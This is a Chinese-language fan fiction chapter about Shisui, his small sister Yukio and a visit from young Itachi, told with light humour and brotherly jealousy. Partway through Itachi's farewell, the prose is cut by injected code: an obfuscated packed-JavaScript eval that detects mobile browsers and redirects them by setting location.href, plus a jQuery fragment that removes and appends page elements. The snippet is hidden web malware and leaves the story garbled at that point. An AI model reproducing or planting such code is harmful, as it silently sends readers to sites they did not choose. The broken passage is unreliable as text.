周末的早晨，阳光从纸门的缝隙里钻进来，在地板上画出一道道金线。止水睁开眼睛的时候，发现床边又蹲着一个人。
是雪绪举着的一只青蛙。
那只青蛙睁着圆溜溜的眼睛，和止水对视。它嘴里还叼着一片叶子，不知道是早餐还是礼物。
“……小绿二号？”
青蛙眨眨眼。
“哥！”雪绪的声音从青蛙后面传来，“小绿二号给你送早安礼物！”
止水坐起来，看着那片被青蛙叼着的叶子。是普通的树叶，上面还有几个虫眼。
“谢谢。”他接过叶子，认真地说。
雪绪满意地点点头，把青蛙收回口袋，然后开始汇报今天的计划：
“哥，今天天气很好，我打算先喂小绿一号和小绿二号，然后去院子里看看有没有新的青蛙，然后去隔壁婆婆家送东西，然后——”
“等一下。”止水打断她，“今天有客人来。”
雪绪愣住了：“客人？”
“嗯。”止水起身穿衣服，“鼬君说要来。”
“哦，鼬君！”雪绪已经开始转圈了，“他来干什么？来玩吗？来找我吗？来看我的青蛙吗？”
“来看我练习。”止水说，“顺便——可能——也会看看你。”
“顺便？！”雪绪瞪大眼睛，“我怎么能是顺便！我是主要的！”
止水看着她，沉默了一秒。这丫头，怎么这么有自信？
早饭过后，雪绪开始了她的“迎接贵客”准备工作。
首先，她给小绿一号和小绿二号洗了个澡。其实就是把两只青蛙按在水盆里涮了涮。青蛙们奋力反抗，甩了她一脸水，但她毫不在意。
然后，她把自己的丸子头重新扎了一遍，扎得比平时更圆更紧，还特意插了一朵小花。从院子里摘的，不知道什么名字，反正开着紫色的小花。
最后，她把自己抓的几条鱼：小橙、小金、小灰。从水壶里倒进一个大碗里，摆成一排，让它们列队欢迎。
鱼们在碗里转着圈，完全不知道自己在“列队”。
止水坐在走廊上，看着妹妹忙里忙外，心情有点复杂。
一方面，他很高兴雪绪有朋友。
另一方面——
“哥！”雪绪跑过来，“你看我这样行吗？”
她转了个圈，裙子飘起来，两个丸子头上的小花一颤一颤的。
止水上下打量了一番。
“……那朵花是什么？”
“不知道！院子里摘的！”
“紫色的花戴在头上——”
“好看吗？”
止水沉默了一秒。
“好看。”他老实承认。
雪绪满意地笑了，又跑回去继续准备。
止水看着她的背影，忽然有点明白父亲当年给他做木马时的心情。
想让妹妹开心。又不想让别人抢走妹妹的开心。
这种矛盾的感觉，大概就是传说中的——
“哥哥的烦恼”？
门外传来轻轻的敲门声。
“来了！”雪绪第一个冲出去，拉开院门。
门外站着鼬。鼬穿着深蓝色的衣服，头发整整齐齐，手里提着一个用布包着的小盒子。
“鼬君！”雪绪大声打招呼，“你来啦！”
鼬点点头：“雪绪。”
“快进来快进来！”雪绪拉住他的袖子往里拽，“我给你看我的青蛙！”
鼬被她拽着，踉跄了两步，但还是礼貌地朝走过来的止水点点头：“止水哥。”
止水点点头：“进来吧。”
三人进屋坐下。
雪绪迫不及待地把口袋里的两只青蛙掏出来，举到鼬面前：“你看！小绿一号和小绿二号！”
两只青蛙被突然举起来，都露出茫然的表情。鼬低头看着它们，认真地端详了一会儿。
“它们……长得一样？”
“不一样！”雪绪指着左边那只，“这个是小的，是一号；这个是大的，是二号！二号跑得比一号快！我追了好久才追到！”
鼬点点头，又问：“它们有名字吗？”
“小绿一号和小绿二号啊！”
“我是说……除了颜色以外的名字？”
雪绪歪着脑袋想了想：“没有。你想给它们起吗？”
鼬愣了一下：“我？”
“对呀！你起的名字，它们一定会喜欢的！”
鼬看着那两只青蛙，认真地思考起来。
止水在旁边看着这一幕，忽然有点想笑。
五岁的小孩，对着两只青蛙，认真地思考名字。这场面，说出去谁信？
“叫……”鼬想了半天，“青丸和青太？”
雪绪眨眨眼：“为什么？”
“因为……它们是青色的，圆圆的……和……大大的……”
雪绪低头看了看两只青蛙，点点头：“好！以后一号叫青丸，二号叫青太！”
两只青蛙同时“咕”了一声，不知道是同意还是抗议。
鼬松了口气，把手里的盒子递过去：“这是带给你们的。”
雪绪眼睛一亮：“是什么是什么？”
她接过盒子，三两下拆开布包，打开盖子，里面是一排精致的点心，有樱花的形状、叶子的形状，还有几个圆圆的糯米团子。
“哇——”雪绪发出惊叹，“好漂亮！”
“母亲做的。”鼬说，“她说谢谢上次止水哥教我练习。”
止水摆摆手：“不用这么客气。”
雪绪已经盯上那盘点心了：“可以吃吗？可以吃吗？”
“可以。”鼬说，“都是给你们带的。”
雪绪立刻伸手去抓，被止水按住。
“洗手了吗？”
雪绪的动作僵在半空。她低头看了看自己的手，刚才摸过青蛙，沾着水，还有一点泥。
“……我现在去洗！”
她噔噔噔跑出去洗手，脚步声在走廊上渐渐远去。止水看着她的背影消失在门外，然后转头看向鼬。
“最近怎么样？”
鼬点点头：“还好。学校教的内容，大部分都掌握了。”
“体术呢？”
“也在练。”鼬顿了顿，“止水哥什么时候有空，可以再指点我一下。”
止水点点头：“好。”
两人沉默了一瞬。
门外传来雪绪的脚步声，伴随着“我洗完啦”的喊声。
止水忽然开口：“鼬君。”
鼬看向他。
“你觉得我妹妹怎么样？”
鼬愣了一下，似乎没想到会被问这个问题。
他想了想，认真地回答：“很有趣。”
“有趣？”
“嗯。和她在一起，不会觉得闷。”鼬说，“而且她很……特别。”
“特别？”
“就是……和其他人不一样。”
止水沉默了一秒。
这个回答，怎么听着有点不对劲？
雪绪冲进来了，手上还滴着水，一屁股坐到点心旁边，抓起一个樱花形状的糕点就往嘴里塞。
“好吃！”她眼睛亮起来，“鼬君你妈妈好厉害！”
鼬点点头：“我会转告她。”
雪绪又抓起一个，这次没有直接塞嘴里，而是举到鼬面前：“你也吃！”
鼬接过，小口咬了一下。
“好吃吗？”雪绪期待地问。
“嗯。”
“那你多吃点！”雪绪把整盘点心往他面前推，“吃完了我哥会再做！”
止水：“……”
他怎么就成自动补货的了？
三人吃着点心，喝着麦茶，聊着天。主要是雪绪在聊。
“鼬君你知道吗，我昨天抓了三只鱼！一只叫小橙，一只叫小金，一只叫小灰！它们现在在碗里排队！”
“小绿一号——不对，青丸，昨天差点跑掉，我追了好久才追回来！”
“我做的脆皮玉子烧可好吃了！连猫都不吃的那种好吃！”
鼬听着，偶尔点点头，偶尔问一句，偶尔露出微微惊讶的表情。
止水在旁边观察着。
他发现鼬听雪绪说话的时候，表情很认真。不是那种敷衍的认真，是真的在听。雪绪说什么，他都听。雪绪问什么，他都答。
雪绪把点心渣掉在衣服上，他还指了指那个位置提醒她。
止水的心情更复杂了。
这个小孩，怎么这么……这么……这么讨人喜欢？
不对。应该是，怎么这么会讨自己妹妹喜欢？
“哥，”雪绪忽然转头看他，“你在想什么？”
止水回过神：“没什么。”
“你表情好奇怪。”雪绪歪着脑袋，“像青丸想吃虫子又吃不到的样子。”
止水：“……”
鼬在旁边轻轻笑了一下。虽然很快就压下去了，但止水看见了。
“鼬君，”他开口，“下午我教你一个新的体术动作吧。”
鼬点点头：“好。”
“那雪绪，”止水看向妹妹，“你乖乖在旁边看着，不要乱跑。”
雪绪眨眨眼：“我可以学吗？”
“不可以。”
“为什么？”
“因为你还没上学。”
“可是鼬君也没上学啊！”
“他快上了。”
雪绪被噎住了，鼓着腮帮子瞪哥哥。止水假装没看见。
下午，三个人来到院子里。
止水开始教鼬新的体术动作：一个基础的躲避步法。
“看好了，”他边说边示范，“左脚向前，身体右转，然后迅速下蹲——”
鼬认真地看着，跟着做。动作很标准，姿势很到位。
止水点点头：“不错，再来一遍。”
两人就这样一个教一个学，在院子里练起来。
雪绪蹲在走廊上，托着腮看。一开始她还挺认真，盯着鼬的动作，偶尔喊一声“鼬君加油”。
过了一会儿，她的注意力开始转移。
一只蚂蚁在地上爬。她盯着蚂蚁看了一会儿。蚂蚁爬远了。
她又看天。天上有云，慢慢飘着。
她又看院子角落的小水缸。青丸和青太在水缸里露出脑袋，不知道在说什么。
她又看——
“雪绪，”止水的声音传来，“专心。”
雪绪回过神：“我很专心啊！”
“专心看什么？”
“看……看你们！”
止水沉默了一秒。
“你的眼睛刚才在看天。”
“那是……那是……休息一下眼睛！”
鼬在旁边，嘴角微微翘起。
止水看见了。
他忽然有一种感觉，这个妹妹，好像越来越难管了。
练了一会儿，止水让鼬休息一下。两人在走廊上坐下来，雪绪立刻凑过去，递给鼬一杯麦茶。
“鼬君，累不累？”
“还好。”
“渴不渴？”
“有点。”
“那你多喝点！”
鼬接过茶，慢慢喝着。
雪绪在旁边看着他，忽然问：“鼬君，你在学校有朋友吗？”
鼬想了想：“有。”
“多吗？”
“不多。”
“为什么不多？”
鼬沉默了一下，似乎在思考怎么回答。
止水在旁边替他说：“因为鼬君比较安静。”
雪绪点点头，若有所思。
然后她认真地说：“那你以后可以常来找我玩！我话多，我们俩加起来就刚好了！”
鼬愣了一下。止水也愣住了。
这话……怎么听着有点耳熟？好像是他之前说过的？
“哥，”雪绪转头看他，“你怎么了？”
“没什么。”止水摇摇头，“就是觉得你学得挺快。”
雪绪得意地笑了：“那当然！我可是要当火影的人！”
鼬在旁边看着她，忽然开口：“火影不需要抓青蛙。”
雪绪眨眨眼：“不需要吗？”
“不需要。”
“那火影需要什么？”
鼬想了想：“需要保护村子。”
“那我可以先保护青蛙，再保护村子！”雪绪理直气壮，“从小的开始练起！”
止水忍不住笑了。鼬也笑了。这次他没有压下去，是真的笑了。
雪绪看着他的笑容，眼睛亮起来：“鼬君你笑起来好看！”
鼬愣了一下，笑容僵在脸上。
止水的心情又开始复杂了。
这个妹妹，怎么什么都说？
傍晚，鼬要回家了。
雪绪送他到门口，依依不舍地挥手。
“鼬君下次再来！”
“好。”
“记得带点心来！”
“……好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297037|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“记得留长头发，我给你扎丸子头！”
鼬的脚步顿了顿，但还是点点头：“……好。”
止水站在妹妹身后，看着这一幕。
等鼬走远了，雪绪回头看他，眼睛亮晶晶的：“哥，鼬君真好！”
止水点点头：“嗯。”
“他说话好听！”
“嗯。”
“他吃饭斯文！”
“嗯。”
“他长得好看！”
“嗯。”
“他——”
“雪绪。”
“嗯？”
止水蹲下来，和妹妹平视。
“你是不是特别喜欢鼬君？”
雪绪想了想，认真地说：“喜欢呀！他是我朋友！”
“那……”止水斟酌着措辞，“你觉得我和他，谁更好？”
雪绪愣了一下。
她看看哥哥，又想想鼬，再看看哥哥，再想想鼬。
然后她认真地回答：“你是我哥，他是我朋友。不一样！”
“怎么不一样？”
“你是我的！他是大家的！”
止水被这个回答噎住了。
什么叫“你是我的”？什么叫“他是大家的”？这丫头是从哪里学来的这些话？
雪绪已经蹦蹦跳跳地跑回屋里了，留下止水一个人站在门口发呆。
晚上，吃完饭，洗完澡，两人躺在被窝里。
雪绪翻来覆去睡不着。
“哥，”她开口，“你说鼬君下次什么时候来？”
止水沉默了一秒。
“不知道。”
“你说他会带什么点心？”
“不知道。”
“你说他的头发长长了没有？”
“不知道。”
雪绪沉默了一会儿，然后小声说：“哥，你是不是不喜欢鼬君？”
止水愣了一下：“为什么这么问？”
“因为你每次说起他，声音都怪怪的。”雪绪说，“像青丸吃不到虫子的时候。”
止水沉默了。原来他的心情，在妹妹眼里就是“青蛙吃不到虫子”？
“我没有不喜欢他。”他慢慢说，“我只是……”
“只是什么？”
止水想了想，决定说实话。
“我只是怕你太喜欢他，就不喜欢我了。”
雪绪愣住了。她翻了个身，凑到哥哥面前，盯着他的眼睛。月光下，哥哥的眼睛亮亮的，好像真的有点担心的样子。
“哥，”她认真地说，“你是我哥。”
“嗯。”
“你养了我四年。”
“嗯。”
“你给我做饭、扎头发、缝衣服、讲故事。”
“嗯。”
雪绪忽然伸手，抱住他的脖子。
“哥，”她把脸埋在他肩膀上，“你是世界上最好的哥哥。谁都比不上。”
止水愣住了。
“就算我有再多朋友，”雪绪闷闷地说，“你也是最重要的那个。因为——”
她顿了顿，似乎在找合适的词。
“因为你是我的。”
止水没有说话。
他只是伸手，轻轻抱住妹妹小小的身体。
过了一会儿，雪绪忽然又开口：“但是鼬君还是很好。”
止水：“……”
“他笑起来特别好看。”
止水：“……”
“下次他来，我还想和他玩。”
止水深吸一口气：“……睡吧。”
“哥你生气了吗？”
“没有。”
“那你为什么声音又怪怪的？”
“因为我在想事情。”
“想什么？”
止水平躺着，看着天花板。
“在想，”他说，“等你长大了，会有很多朋友，会喜欢很多人，会离开家——”
“不会的。”雪绪打断他。
“为什么不会？”
“因为我会带着你一起。”
止水愣了一下。
“我走到哪，你就跟到哪。”雪绪理直气壮地说，“你是我哥，你不跟着我谁跟着我？”
“我不用工作吗？”
“你可以在我的火影办公室工作！”
“火影办公室？”
“对呀！我当火影，你当我的助理！专门帮我扎丸子头！”
止水沉默了三秒。
“火影的助理，工作是扎丸子头？”
“对！还有做饭、抓青蛙、养鱼、骗我吃难吃的东西——”
“那不是骗，是——”
“是什么？”
止水想了想，换了个说法：“是善意的谎言。”
雪绪眨眨眼：“那青丸吃不到的虫子，也是善意的谎言吗？”
止水失笑。
“不是。”他说，“那是真的吃不到。”
雪绪也跟着笑起来。
两人笑了一会儿，然后安静下来。
月光静静地洒落。
虫鸣声声。
“哥，”雪绪忽然说，“我今天很开心。”
“嗯。”
“因为有你和鼬君都在。”
“嗯。”
“下次我们还一起玩吧。”
“好。”
“你不许用那种怪怪的眼神看他。”
“……什么怪怪的眼神？”
“就像……像青丸看虫子，又吃不到的那种。”
止水沉默了。原来他藏得不够好。
“我知道了。”他说。
“真的？”
“真的。”
雪绪满意地点点头，往他怀里拱了拱。
“哥，”她打了个哈欠，“晚安。”
“晚安。”
过了一会儿，雪绪的呼吸变得平稳起来。
止水低头看了看她的睡脸。还是那张圆圆的小脸，还是那两个歪歪的丸子头。明天醒来，她还是会叽叽喳喳地说个不停，会抓青蛙，会喂鱼，会问他今天吃什么。
后天也是。大后天也是。很久很久以后也是。
他闭上眼睛。
算了。
只要她开心就好。
至于鼬——
止水默默想着，下次他来的时候，自己可以试着用更正常的眼神看他。
毕竟，他只是妹妹的好朋友。
只是朋友。
对吧？